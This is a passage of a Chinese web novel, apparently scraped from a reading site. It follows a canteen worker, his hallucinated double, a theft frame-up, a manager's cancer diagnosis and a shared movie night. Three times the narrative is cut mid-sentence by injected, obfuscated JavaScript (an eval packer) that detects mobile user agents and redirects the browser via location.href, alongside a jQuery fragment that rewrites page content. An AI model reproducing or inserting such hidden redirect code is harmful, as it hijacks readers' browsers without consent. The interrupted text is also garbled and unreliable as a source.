“哪能啊,大家都是在食堂里干活的,保不齐他的手就伸到别处去了,我也是为了大家好。”郑恒嚷嚷道,“说不定背地里他还干了什么更恶心的事情呢,宋哥,你可得长好眼。” 二楼的动静闹得有些大,吴时和一楼的几个员工也上来看热闹,他们主要经营的是中午和晚上的菜肴,这会儿正得空。 吴时一副恨铁不成钢的神情看向陈亦临:“哎哟,小陈呐,你让我说你什么好,家庭条件差不是你的错,但你也不能总犯啊,你爸还了我一千,剩下的钱我就不和你要了,你在这儿得好好干。” 他说得情真意切,眼底却闪烁着恶毒又畅快的光芒。 周围看热闹的人群发出了窃窃私语,看向陈亦临的目光也多有猜疑。 “看见没,俩人在这里一唱一和,就是想激你动手呢,你要是动了手,就算没错也变成有错了。”带着点戏谑的声音贴着陈亦临的耳朵响起,热烘烘的气息紧贴着他的后背,“稳住啊临临,咱们不生气。” 这家伙应该是刚洗完澡,身上带着股潮湿的青柠香气,习惯性地将脑袋搭在他的肩膀上,饶有兴致地看着热闹。 陈亦临的注意力被他分走了不少,连愤怒都变得轻薄了一点,可惜这里人实在太多,他没办法和“陈亦临”说话,只能不动声色地握了握他搂在自己腰间的手。 放在以前,如果碰到这种情况他一定是会愤怒辩解的,但现在他有确切的证据,还有“陈亦临”陪着,反而从心中生出了股笃定,看着郑恒和吴时就像在看两个跳梁小丑。 “看吧,不说话就是心虚了。”郑恒见他沉默,气焰越发嚣张起来,“要我说,这种小偷就该辞退。” “你没完了是吧?”高博乐将手里的抹布一摔,撸起袖子就要出去,却被陈亦临一把拽到了身后,他愤愤不平,“小陈?” “谁主张谁举证,你说是我偷的,拿证据出来。”陈亦临复述着身后“陈亦临”的话,“否则就是诽谤。” 郑恒被他噎了一下,下意识转头看向吴时,可惜吴时没接收到他的求助。 “陈亦临”趴在他肩膀上笑,忍不住吐槽道:“怎么会有这么蠢的人,你们还没用那桶油他就这么着急跳出来,生怕别人不知道是他搞得鬼,临临,这也太没挑战性了。” 他总喜欢贴着耳朵说话,陈亦临被带着暖意的气息喷得发痒,尤其还当着这么多人的面,就算其他人看不到,他也能感觉到自己被另一个“人”从身后搂着,莫名有些不自在。 于是他歪了歪脖子,试图远离这股恼人的气息,然而下一秒“陈亦临”又锲而不舍地贴上来,两只胳膊直接搂住了他的脖子,好像将他当成了等身抱枕。 郑恒被他噎得恼羞成怒:“你少在这里吓唬人,要我说你就是下三滥。” “郑恒。”一道声音打断了他,紧接着李建民就穿过了人群,来到了窗口前,他脸色有些苍白,眼底还隐约带着怒意,“昨天晚上我收到了一份视频,里面完完整整地录下了你和另一个人偷溜进我们档口做的所有事情,你现在还好意思栽赃我们的人?” 郑恒吓了一跳:“我没有!” “有没有不是你说了算的,我有证据,而且已经报警了。”李建民厉声道。 郑恒腿一软,连连摇头:“李经理,真的不是我干的,你一定要相信我,我、我昨天晚上、昨天晚上根本没进食堂!不信你问吴叔!” 吴时一听他将话头往自己身上引,皱着眉指了指郑恒又摇了摇头,脚底抹油直接走了。 郑恒瞬间傻了眼。 “行了行了,都散了吧。”闻经纶终于挤了进来,挥手驱赶看热闹的学生和员工,“该干嘛干嘛去,一个个的不上课了!走走走走!” —— 办公室外。 陈亦临靠着窗户站着,从缝隙里吹进来的冷风让他缩了缩肩膀,下一秒冷风就被温热的触感所取代。 “你非得在这儿站着干什么?”“陈亦临”看了一眼他身上单薄的卫衣,皱了皱眉。 “凉快。”陈亦临压低了声音。 不知道李建民和学校打算怎么处置郑恒,不过证据确凿,陈亦临倒是不担心,只是闻经纶走的时候点名要他也一起来,这让陈亦临有点忐忑。 是觉得他给学校惹麻烦了?还是他没满年龄要被辞退?又或者李建民发现是他拍的视频了? 脑子里的想法乱七八糟,他垂着眼睛盯着运动鞋上的网孔,压低了声:“哎。” “在呢。”“陈亦临”绕到他面前,“别担心,不会有事的,估计就是叫你来问问具体情况。” 陈亦临看他赤着脚和自己的鞋子重合,沉默了片刻道:“其实你早就知道我不上学了吧?” “陈亦临”大概没想到他会提这个,盯着他看了一会儿才开口:“隐约猜到了。” 毕竟陈亦临对于上学的话题从来都不回答,而且高中的学生一般不会出来兼职,就算技校的学生也不会天天起这么早,还睡在不能住人的休息间里。 陈亦临终于抬起头来:“那你为什么不问?” “你不想说我问干嘛,多没眼力劲儿。”“陈亦临”伸手摸了摸他冰凉的脸颊,声音温柔,“万一你生气把我赶走了怎么办?” 陈亦临有些不自在地别开脸:“你还怕被赶走?” 天天像粘鼠板一样。 “陈亦临”正色道:“当然了,之前你一闭眼就能把我赶走,要不是我勤奋好学刻苦钻研找到了符咒,这会儿肯定躲在被子里哭呢。” 陈亦临忍不住笑了一声:“你还会哭?” “当然,眼泪决堤泣不成声。”“陈亦临”见他笑了,眼底的笑意才逐渐真实,“而且不上学多好,不用天天考试。” 陈亦临扯了扯嘴角,并没有被安慰到,他顿了顿,问:“你知道我很多事情?” “怎么可能?”“陈亦临”失笑,“我这个幻觉属于半路出家,陈亦临同学,我们才认识一个月呢,你不能强迫我对你了如指掌。” 陈亦临:“……” 这话听着有点怪,不过对方鬼话连篇他也没深究,辍学打工这种事情被新交的朋友知道,哪怕只是个幻觉,也让他觉得有些丢脸。 “我会一直陪着你的。”“陈亦临”见他情绪不高,凑上来亲昵地碰了碰他的额头,“有我在不用担心。” 陈亦临早就习惯了和他触碰,昨晚两人还搂着在山顶睡了一觉,这种过分亲昵的动作如果换成别人肯定无法接受,不过这是另一个陈亦临,就像人会照镜子一样,再正常不过了。 “只是有一点担心。”陈亦临伸手把他拽进自己的身体里挡风,瞬间像穿了件貂皮大衣,他低声道,“不过就算被辞退我也能找其他工作,养活我们没问题。” “陈亦临”被他这个“我们”极大地取悦到,待在他的身体里面舒服地叹息了一声:“临临真厉害。” 陈亦临直起了身子,面无表情道:“不要说这么恶心的话。” 这个幻觉什么都好,除了冷不丁冒些酸话恶心他,他怀疑是自己小时候电视剧看多了留下的病根。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他确实不错,以前也帮过我,你安心在他手下工作就好。”闻经纶道,“除了工作上,要是生活上遇到什么困难也可以来找我,虽然你们属于外包单位,但都是合作关系,学校在这方面的政策都很完善。” 见他只是愣愣地点头,“陈亦临”趴到他耳朵边道:“他都这么说了,让他帮忙申请个宿舍。” 陈亦临完全没想到这层,转头看向“陈亦临”,又被他托住下巴转了回去,对上闻经纶含笑的目光,陈亦临有些磕巴道:“主、主任,我能不能申请个宿舍?” “员工宿舍可能有些困难,不过学校能住的宿舍有很多。”闻经纶笑道,“我先帮你打听一下,等有消息就通知你。” 陈亦临有些激动地起身:“谢谢闻主任。” 闻经纶摆摆手:“不用这么客气,没什么事就回去吧。” 陈亦临转身就走,开门时又忽然被叫住:“小陈。” “陈亦临”已经飘了出去,陈亦临转头,就看见闻经纶坐在办公桌后冲他微微一笑:“不管遇到任何困难,都可以来这里找我。” 陈亦临似懂非懂地点了点头:“谢谢闻主任,我走了。” 门刚关上,“陈亦临”就黏了上来,他嘴里还叼着根牙刷:“快点儿,我上学要迟到了。” “那就赶紧回去。”陈亦临见他还光着脚,“把鞋穿上。” “不想离开你。”“陈亦临”朝他挤了过来,“也不想去上课,烦死了。” “我巴不得去上课。”陈亦临叹了口气。 “啊——”“陈亦临”也叹气,“要是你能来帮我上课就好了。” 陈亦临伸手弹了一下他叼着的牙刷:“怎么,你要来帮我炸鸡排?” “也不是不行。”“陈亦临”捂住半张脸,“你内力震到我智齿了临临。” 陈亦临又去弹他脑门,他大概想躲,不知道碰到了那边什么东西,一屁股坐在了地上,震惊地看着陈亦临。 陈亦临说:“智商都没有你还智齿。” 两个人沉默几秒,不约而同笑了起来。 窗帘被风吹得轻轻晃动,站在窗前的人看着楼下亲密无间玩闹的两个少年,抬手摘下了眼镜。 比郑恒身上更粘稠更庞大的絮状物正盘亘在陈亦临周围,倒映在旁边的教学楼窗户上,折射出驳杂沉郁的色彩。 “怎么了?”陈亦临见他停下脚步,顺着他的目光转头看向身后的办公楼,却只看到了空荡荡的窗户。 “陈亦临”伸长了胳膊,虚虚勾住他的脖子将人转回来:“临临,今晚去我那边看电影吧。” 陈亦临下意识要拒绝,但对上他期待的目光,话锋一转:“看什么?” “陈亦临”轻轻摩挲着他温热的脖颈,朝他鼻尖吹了口气:“秘密。” 13.触碰 “陈亦临”要去上课,离开得很不情愿。 “晚上十点半我来找你。”他甚至说出了一个明确的时间,“不可以睡着。” “睡着就看不到你了?”陈亦临有些惊喜。 “陈亦临”眉峰下压敛起了笑意,声音里带着点不满和警告:“临临。” 陈亦临伸手弹了一下他的脑门:“看我心情。” “陈亦临。”他脸上彻底没了笑意,抿紧了嘴唇直勾勾地盯着他。 被他叫大名,陈亦临心底莫名有点雀跃,面上却十分淡定:“去上学吧。” “不去了。”“陈亦临”冷嗖嗖地盯着他,“反正你不上学,我也不上了。” 陈亦临:“……” “陈亦临”开始当着他面脱校服,陈亦临使劲磨了磨后槽牙:“逗你玩的,今天晚上我等着你。” “陈亦临”动作一顿,慢悠悠地飘到他面前,伸手抱住他:“临临,以后不许这样吓唬我,你可是我唯一的朋友,知道吗?” “知道了,快走吧,别迟到了。”陈亦临伸手抱住他虚虚地拍了拍,幸好他躲在树后面,不然被路过的学生看见,肯定以为他是个精神病。 “晚上见。”“陈亦临”低头蹭了蹭他的脖子,消失在了原地。 热源瞬间消失,陈亦临有点不适应地拽了拽袖子,靠在树上吐了口气。 和自己的幻觉玩得有来有往,还沉溺其中无法自拔,他这不是病得更严重了,属于是病入膏肓了。 他摸出了庞郭给自己的纸条,上面的电话号码格外清晰。 再等等,等他再攒一攒钱,就去治病。 纸条又被塞回了书包,他将手揣进卫衣兜里,原地蹦了蹦,才继续往前走,心情有些雀跃。 解决了郑恒,还有希望解决住宿问题,“陈亦临”还说他是唯一的朋友……嘿,唯一的。 他哼着歌往前,见一群学生围在一起,破天荒地起了点看热闹的心思,挤在人群里往前看去。 “怎么了?” “好像有人晕倒了,赶紧打120吧。” 他听着旁边学生的话,探出头往里面看,却猝不及防看见了倒在地上的李建民,还有旁边躲在学生堆里想往外跑的郑恒。 “李经理!”他喊了一声,挤开旁边的学生跑了过去。 有两个学生在交替给李建民做急救,旁边有学生喊救护车在路上,陈亦临见郑恒要跑,过去一把薅住了他的领子将人拽了回来,厉声问:“这是怎么回事?!!” 郑恒吓得说话都不利索了:“我、我不知道,跟我没关系啊,他他、他突然就倒在地上了,真和我没关系,和我没关系!” 陈亦临扬起拳头就要揍他,又突然想起“陈亦临”的话,生生将怒意压下去,他指着郑恒道:“真出了事和你也脱不了关系,你敢跑给我试试!” 郑恒吓得腿直发软,还在不停地辩解:“真和我没关系……” “闭嘴!”陈亦临神色阴冷地瞪了他一眼。 郑恒瞬间不敢说话了。 —— 病房里,李建民脸色苍白地躺在床上,仪器有规律地发出滴滴的声响。 庞郭关上病房门,对陈亦临道:“送来的还算及时,目前没有生命危险。” 陈亦临伸手去掏钱:“郭医生,要交多少钱?” 庞郭道:“不用,老李一直住在医院里。” 陈亦临疑惑地看向病房:“一直?” 他之前以为李建民只是同病房的普通病友。 “其实他现在的情况已经很不好了,我是不建议他离开医院的,结果他非要出去。”庞郭神色严肃,“像今天这种情况也不意外,如果不是有专业的学生急救,恐怕凶多吉少。” 陈亦临忍不住问:“李叔他得了什么病?” “脑胶质瘤,就是常说的脑癌。”庞郭说。 陈亦临愣在了原地。 庞郭拍了拍他的肩膀:“不过老李心态比较乐观,手术的日期也定好了。” “小庞,李老板怎么样了?”宋志学接到电话匆匆赶了过来,身上的工作服都没来得及脱。 “没事儿,目前没有生命危险。”庞郭说。 宋志学抹了把脸上的汗,坐在了旁边的椅子上:“我还以为……老李他怎么就得了这种病?要不是为了我,他也不用开这个档口。” 庞郭说:“别想这么多。” 在陈亦临的印象中,宋志学一直沉默寡言十分严肃,但现在却红了眼眶,背过身去抹眼泪,庞郭安慰了他几句。 从两个人的对话里,陈亦临知道了几人更密切的关系,宋志学和李建民是多年的好友和邻居,今年宋志学被工厂辞退没了收入,家里还有三个上学的孩子要养,李建民干脆就在食堂以个人名义租了个档口,全都交给了宋志学管,而庞郭是李建民老家的一个远房侄子,曾经被李建民资助上完了大学。 陈亦临沉默地听着他们说话,用力地掐了掐掌心。 如果他昨天晚上没有发那个视频的话,是不是李叔就不会急着离开医院? “……李恬一直没来过……楼下的食堂能做什么好饭,我让我老婆做好送过来……”宋志学对庞郭说,“你快去忙吧,有什么事儿和我说就行。” 庞郭离开,宋志学又拿出手机打电话:“老李情况不太好,晚上做好饭你送到医院来吧。” 电话另一端的声音大而尖锐:“那谁去接孩子?宋志学你能不能有点良心,我每天伺候完仨孩子还要跑去医院送饭,你一天到晚就挣那么点钱都不够我们一家喝西北风,装什么烂好人!家里饭都要吃不起了!” 宋志学被吼得歪了歪头,眼角耷拉着叹了口气,温声道:“我今天晚上要去送货,就今天一天,等明天我把晚上送货的活辞了,以后我来送,你多盛出一份就行,老李他怪不容易的,咱们也没什么能做的。” 电话那边的语气也一软:“我也知道,行了行了,我去买点儿排骨,老李就喜欢吃这个……这都是什么事儿啊。” “辛苦你了。”宋志学又安慰了她几句,等挂断了电话,他疲惫地垂下头,划拉着手机里的通讯录。 陈亦临犹豫了许久,见他要打电话,鼓起勇气走了过去:“宋哥。” “小陈,还没走啊?”宋志学大概一直没注意到他,伸手抹了把脸,“行了,没事儿,你赶紧回去吧,这里有我,你和小高把油炸桶刷干净,汉堡能做多少就做多少,不用勉强。” 陈亦临又掐了一下掌心,说:“我中午和晚上都没事。” “嗯?”宋志学没明白他的意思。 “我来给李叔送饭吧。”陈亦临说,“要不是李叔让我进档口工作,我现在都不知道在哪里,我跑得可快了。” 宋志学迟疑道:“不用,你——” “我真没事儿宋哥,你把你家地址给我,到饭点我去拿。”陈亦临语气很坚定,“你晚上去送货的话还能多挣一份钱,你们要养三个孩子上学呢。” 宋志学有些诧异地看着他,但见他说得这么认真,最终还是点了点头:“行,那就麻烦你了,明天开始吧,我给你跑腿费。” “不用。”陈亦临摇了摇头,“宋哥,那我先回食堂了。” 说完,也不等宋志学开口,他就跑进了电梯。 —— 手表上的时间显示22:22。 陈亦临盘腿坐在“床”上,盯着屏幕上的数字,脑子里想的却是白天在医院的事情,心里的愧疚绵延不断地冒出来,尽管没人知道视频是他发的,但如果当时他能多考虑一下…… “临临。”声音从他背后冒了出来,有人从背后将他“搂”住抱了一下,才穿过他的身体站到了他面前。 陈亦临扯了一下嘴角:“还没到十点半。” “迫不及待。”“陈亦临”弯下腰突然凑近他,“怎么了,心情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604345|186930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好?” 陈亦临摇了摇头。 “骗人。”“陈亦临”捧住他的脸,“告诉我吧,我帮你想办法。” 于是陈亦临将白天发生的事情告诉了他,垂着眼睛道:“虽然我帮李叔送饭,但还是觉得很对不住他,或许我不该发那个视频。” “陈亦临”沉默了一会儿,坐到了他身边:“这不怪你,是我怂恿你发的。” 陈亦临失笑:“你不就是我吗?只不过是我分裂出来的一个意识,所以还是我的错。” “嘶。”“陈亦临”有些不爽地看着他。 陈亦临伸手捋了一下他头顶翘起来的那缕头发,奈何碰不到实体,那缕头发依旧□□地翘着。 “所以你要怎么才能相信我是另一个世界的陈亦临呢?”“陈亦临”歪头躲开他的手,神情严肃。 “大概……能碰到你?”陈亦临有些不确定。 “陈亦临”有些沮丧:“现在还不行。” “没事儿,碰不到也挺好的。”陈亦临说,“要是有一天真能碰到你,好像比我得了精神病更吓人。” “陈亦临”挑了挑眉:“胆小鬼。” “我这叫尊重客观事实。”陈亦临这样说着,伸手戳了戳他的手背,“那个符怎么画的?” “陈亦临”眼睛一亮:“你不是不想学吗?” 陈亦临说:“偶尔我也想见见你。” 比如今天他从下班开始就想见“陈亦临”,却只能一直待在这里等“陈亦临”现身,以至于他攒了很久的话,等见到对方的时候都想不起来要说什么。 “陈亦临”脸上的笑容逐渐扩大,张开胳膊给了他一个热情的熊抱:“临临——” 陈亦临他抱了个满怀,被热烘烘的气息彻底包裹,木着张脸语气平板道:“真的求你了,这种时候我想碰到你的想法格外强烈。” “哦?”“陈亦临”抬起头来期待地看着他,“为什么?” 陈亦临神色平静道:“因为特别想把你一脚踹飞。” 每次被黏黏糊糊地贴来贴去钻来钻去,他感觉自己就像粘鼠板上的大老鼠,越挣扎就被粘得越紧——如果能碰到,他早就和“陈亦临”打了八百次架了。 “陈亦临”笑容一垮:“真的吗?” 经过之前那一遭,陈亦临不想再费劲,学着宋志学哄老婆的语气,硬邦邦道:“当然不是,教我画吧,临临。” “……好吧”“陈亦临”听着他宛如读课文的语气,强忍着笑“拉”过了他的手。 陈亦临神色一松,宋哥果然有两把刷子。 “陈亦临”进到了他的身体里,带着他伸出了左手,用右手的食指在他掌心里慢条斯理地画起了那个复杂的符咒。 热气在指腹间流转,陈亦临紧紧追随着他指尖的虚影,感受着身体里面另一个人的呼吸声和心跳声,突然间有些恍惚。 “别紧张。”“陈亦临”低声对他说。 “我感觉自己像个疯子。”陈亦临自言自语。 “嗯?”“陈亦临”发出了疑问。 眼前的场景扭曲变幻,一阵眩晕过后,他们来到了“另一个世界”、“陈亦临”的房间里。 “陈亦临”打了个响指,拍了拍旁边的床垫。 陈亦临循着声音坐到了他身边,尽管在现实中他只是调转了方向坐到了门板的另一边靠着墙,但在虚幻的房间里,他却和“陈亦临”坐在同一张舒适柔软的大床上,两个人紧紧挨在一起,就像一对亲密无间的双胞胎。 灯早就关上,厚重的窗帘隔绝了外面的月光,漆黑的房间里只剩下两个人交错缠绕的呼吸声。 “为什么会这样觉得?”“陈亦临”的声音离他很近,近到他以为是自己问出的这句话。 他准确无误地“抓住”了“陈亦临”的手,在黑暗中笑了笑。 因为我竟然真的想能够触碰到你。 他在心里这样对自己说。 14.电影 投影幕布上的演员看着眼生,色调阴郁灰暗,配乐柔软中带着点冷意,很像那种小众的文艺电影,一上来就非常催眠。 “你们那里没有这部电影吗?”“陈亦临”问。 陈亦临摇了摇头:“我不怎么看电影,都是假的。” “陈亦临”笑了起来。 陈亦临转头看向他:“有什么好笑的?” “没。”“陈亦临”往他身边靠了靠,“这是我最喜欢的一部电影,陪我看看吧。” 陈亦临集中了注意力开始看电影,刚开场是两个男演员的对手戏,故事的背景是西方的战争时期,他们在混乱的战场中相识,很快成为了好友,他们开始无话不谈,对彼此的家庭和兴趣爱好都十分了解,偶尔两个人也会爆发争吵,但很快就会原谅对方,后来战争形势愈烈,他们伙同几个战友一起当了逃兵,开始四处躲避追捕…… 陈亦临一直在等女主角出场,但除了刚开始男主角钱包里一闪而过的未婚妻照片之外,对方就一直活在两个人的谈话里,而且每次提到男主的未婚妻,男二都要和他大吵一架,男主又带着酒去求和。 陈亦临看得莫名其妙,忍不住问:“女主什么时候出场?” “陈亦临”愣了一下:“你说那个未婚妻?” “对啊。”陈亦临纳闷,“难道未婚妻不是女主?” “算是吧。”“陈亦临”说,“但你看到后面就明白了,男主根本没有未婚妻,照片里的女人是他从别人的钱包里捡到的,而且他庄园主人的身份也是假的,其实男二才是真正的——” “……”陈亦临转过头冷冷地盯着他。 “我是不是剧透了?”“陈亦临”摸了摸鼻子,“你先问的。” “闭嘴。”陈亦临郁闷地转回了脑袋。 接下来就是激烈的追逐枪战,陈亦临看得热血沸腾,直到男二负伤,男主开始忙前忙后的照顾,音乐又变得催眠了起来,两个人你来我往地说着一些极其无聊的话。 陈亦临兴致缺缺听着他们谈心,直到看见他们拥抱,拧眉又问“陈亦临”:“男二是不是带资进组,他这是抢了女主的戏吧?” “陈亦临”叹了口气:“这部片子就是讲友情的。” “……啧。”陈亦临不爽地抱起了胳膊。 “你喜欢看爱情片?”“陈亦临”笑道。 “也不是,我就爱看男主打败坏人名利双收,有兄弟有老婆自己还特别厉害那种。”陈亦临对他选片的眼光提出了批判,“你这看的都是些什么玩意儿。” 这个攻击可谓十分扎心。 “陈亦临”叹了口气:“你能看点有深度的吗?” “看个电影搞什么深度?”陈亦临也叹气,“他俩在这儿抱来抱去烦死我了。” “陈亦临”沉默了一瞬:“那我抱你的时候,你也烦?” “有点儿吧,没这么多。”陈亦临实话实说。 “陈亦临”不说话了。 电影里男主开始背着男二逃命,又是一出激烈的追逐战,陈亦临的注意力很快被吸引,但看到男二受伤男主直接将人抛弃,登时发出了一声怒骂:“操!” “陈亦临”被他吓了一跳,紧接着就听他问:“这男的是主角吗?他怎么这样?!” “陈亦临”无奈道:“我知道也不告诉你,给你剧透你又骂我。” 陈亦临瞪了他一眼,直起了身子,往前挪了挪一脸严肃地继续看,结果看到男主顶替男二的身份住进了豪华庄园,甚至还和一位富家小姐订了婚,他的愤怒达到了顶峰:“这都什么破剧情?他怎么有脸的?男二对他这么好甚至为他送了命,他对得起谁啊,操,垃圾。” “陈亦临”被他一拳头“砸”在大腿上,托着腮懒洋洋地叹了口气。 他看这部电影第一次看得这么热闹。 陈亦临几乎是怀着愤怒的心情看下去,直到看见男二没死假装成佣人回到庄园复仇,才找到了这部电影的可取之处,他对“陈亦临”说:“他赶紧一枪毙了男主抢回身份,他最后成功杀了男主吗?” “陈亦临”说:“算是吧。” 他狐疑地看了“陈亦临”一眼。 接下来的剧情就是男主男二在你来我往的试探,陈亦临一会儿觉得男主识破了男二,一会儿又觉得男二心软这么好的机会都不杀,直到看见男主和男二去打猎落水,两个人光着身子抱在一起取暖,不解的情绪达到了顶峰。 他用余光瞥了“陈亦临”一眼,总觉得哪里怪怪的,却又说不上来。 “陈亦临”仿佛已经完全沉浸在了电影里,神色平静而冷淡。 男二几次想下杀手未遂,结果有人比他更先出手,未婚妻因为家中被男主搞破产刺杀男主,男二帮他挡了一枪,死在了男主的怀里。 陈亦临气得要命,一边骂男二这个窝囊废一边骂男主这个负心汉,然后就见男主跪在男二的墓碑前,把枪放进了嘴里。 伴随着一声枪响,屏幕一黑,电影结束。 陈亦临愣在了原地,缓了好半天才转头质问“陈亦临”:“你不是说最后男二杀了男主吗?” 亏他还一直在等男二复活报仇雪恨。 “陈亦临”笑道:“这怎么不算呢?男主是因为他死了所以选择结束生命。” 陈亦临觉得哪里不对,却又觉得这样很合理,但当他对上“陈亦临”含着笑的眼睛,又很是憋屈,于是将所有复杂的情绪和想法全都凝练成了两个字:“烂片。” “陈亦临”默默地捂住了心口。 陈亦临见他不说话,盘腿坐在了他对面:“你怎么了?” “陈亦临”幽幽看了他一眼:“你攻击我的审美就等于否定我的人生。” “我不是这个意思。”陈亦临抬手弹了一下他的膝盖,“其实也挺好看的。” “陈亦临”仿佛找到了知己:“对吧。” “就是有些地方很——没必要。”陈亦临组织了一下语言,“他俩抱的次数太多了,还老是切镜头看对方的反应,都是大男人没必要这么黏糊。” “陈亦临”闻言笑得停不下来。 陈亦临被他笑得有些恼怒:“笑什么?难道不是这样吗?不知道的还以为是他俩在谈恋爱呢!” “陈亦临”边笑边点头:“有道理哈哈哈哈。” 他笑得躺在床上打滚,陈亦临被笑得有些不自在,站起来恶狠狠地“踩”到他身上:“不准笑!” “陈亦临”爬起来,笑意盈盈地靠在床头,朝他伸出了一只手:“过来。” 陈亦临将信将疑,但还是“抓”住了他的手坐了下来,两个人的腿脚有一部分的重合,然后他就听到“陈亦临”说:“下次选你爱看的。” 陈亦临刚要说话,外面突然传来了一阵敲门声,他吓了一跳,压低声音问:“谁啊?” “可能是我妈,刚才笑得声音太大了。”“陈亦临”打开了灯。 “要不我走吧。”陈亦临抬手想画那个符咒。 “陈亦临”已经往前走了两步,闻言又折返回来拍了一下他的脑袋:“没事儿,她看不到你,不许走。” 陈亦临只好坐在床上没动。 门口传来了“陈亦临”的声音:“……嗯,我在看电影。” 陈亦临听不清楚,起身“飘”到了“陈亦临”身后,就见林晓丽披着间红黑相间的格子披肩,她站在门口,神情看起来有些严肃:“什么电影?” “正常电影。”“陈亦临”无奈地笑,“老妈。” “绝对不可以再研究那些奇怪的东西知道吗?虽然说爸爸妈妈在成绩方面对你没有要求,但你也不能太过放松。”林晓丽裹紧了身上的披肩,神情有些憔悴,“妈妈给你求的护身符呢?” “一直戴着呢。”“陈亦临”似乎察觉到了他身上的热气,背在身后的手朝他招了招手。 陈亦临走到他身后,虚虚抓住了他的手。 “陈亦临”不着痕迹地勾了勾嘴角,而后对上了林晓丽的视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618044|186930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“放心吧,我篮球都不打了。” 林晓丽微微皱眉:“你的睡衣呢?” “陈亦临”扯了扯身上的黑色睡衣:“那件不小心弄脏了,我随便拿了一件。” “换我给你买的,这件不暖和。”林晓丽抬手拍了拍他的脸,“早点睡。” “晚安,妈妈。”“陈亦临”关上了门,背对着他没说话。 片尾音乐播放到了尾声,投影幕布上的片名在明亮的灯光下变得有些模糊,陈亦临戳了戳他的肩膀:“哎,没事吧?” “陈亦临”转过身来,抬手虚虚地将他抱住:“临临。” 陈亦临拍了拍他的后背:“怎么了?” “不喜欢换睡衣。”“陈亦临”嘟囔道。 陈亦临有点懵,但还是安慰道:“那就不换,一件衣服而已。” “陈亦临”抬起头来,眼睛亮晶晶地盯着他:“那我也不喜欢打篮球。” “那就不打呗。”陈亦临理解不了他这些小烦恼,有时候甚至不可避免地生出些嫉妒,但他这样看着自己又实在…… 缺少社会的毒打。他恶狠狠地想着,抬手捶了“陈亦临”的脑袋一下。 “陈亦临”捂着脑袋冲他笑。 陈亦临不再搭理他,躺到他的床上,假装自己真的能感受到柔软舒适的床垫和被褥,拍了拍旁边的门板:“关灯睡觉,明天我还要早起。” 现在已经是凌晨两点,他很少熬到这么晚。 “陈亦临”走过来躺进他的身体里面,陈亦临拧起眉:“你自己睡不行吗?” “和你待在一起暖和。”“陈亦临”固执地要和他重合。 “滚出去。”陈亦临翻了个身试图躲开,但“陈亦临”紧接着又黏了上来,他再躲,对方就再追,后腰猝不及防传来了股疼痛,“啊。” “怎么了?”“陈亦临”见他蜷成一团,吓了一跳。 “嘶——”他身后去捂后腰,“硌到腰了。” 那个该死的门把手,他已经被硌到好几次了,早晚拆了它! “我看看硌哪儿了。”“陈亦临”想拿开他的手掀开卫衣,然而手却穿过了陈亦临的身体,碰到了自己的被子,他眼神瞬间一暗。 “没事儿,后腰那里。”陈亦临说,“等一会儿就好。” “之前受过伤吗?”“陈亦临”问,刚才俩人虽然闹,但动作幅度其实并不大,就算撞到东西也不会这么疼才对。 “之前被郑恒踹了一脚。”陈亦临缓了缓,感觉好了一些。 “陈亦临”愣住:“你去打架了?” “那群傻逼堵的我。”陈亦临说起来还是很生气,他挥了挥“陈亦临”,“消停点儿吧,我真要困死了。” “陈亦临”见状只好放过他,拍了拍旁边的被子:“那你进来,我搂着你睡。” “拉倒吧,快睡。”陈亦临原本觉得没什么,但刚看完那部电影浑身都不得劲,将羽绒服往自己身上一裹,背对着他睡了过去。 “陈亦临”关了灯,房间再一次陷入了黑暗。 陈亦临入睡总是很快,也许是因为白天工作太累,很快他蜷得有些累,翻过身平躺着舒展开了腿脚。 “陈亦临”枕着胳膊盯着他看了许久,伸出了手。 指尖从眉骨眼角鼻梁间划过,又在唇齿间逗留,最后轻轻摩挲着侧颈,依稀能感受到属于另一个人的温度。 “陈亦临。”他喊了一声。 “……嗯?”陈亦临皱了皱眉,含糊不清地答应了。 “你知道今天我们看的电影叫什么名字吗?”他问。 陈亦临有些冷,往他身边靠了靠:“……什么?” “叫《背叛》,好看吗?”他抬手,将放在床头和墙缝隙间的小铜葫芦收了起来。 “烂片。”陈亦临睡意中还带着丝残存的愤怒,“拿的什么东西?” “陈亦临”将人裹进了自己的被子里,在黑暗中心满意足地笑了笑:“没事儿,睡吧。” 15.好事 “老宋也真是的,不用你特意来送饭,我去食堂随便吃点就行。”李建民看着陈亦临忙前忙后,又是擦桌子又是将饭菜摆好,多少有些过意不去,“过来花了不少时间吧?” “没事儿,公交车直达,二十分钟就到。”陈亦临把筷子递给他,“李叔,给,宋姨给你做的骨头汤。” 李建民嘿了一声:“我就爱吃这口汤,你肯定也没吃饭,一块吃。” “不用,我回去吃就行。”陈亦临盯着碗里的汤咽了咽口水。 李建民笑道:“听我的,不然就不让你来送饭了。” “那好吧。”宋姨准备的就是两个人的饭菜,他去拿的时候还叮嘱他要和李建民一块吃,陈亦临自然不好意思,但李建民盛情邀请,他也不好拒绝。 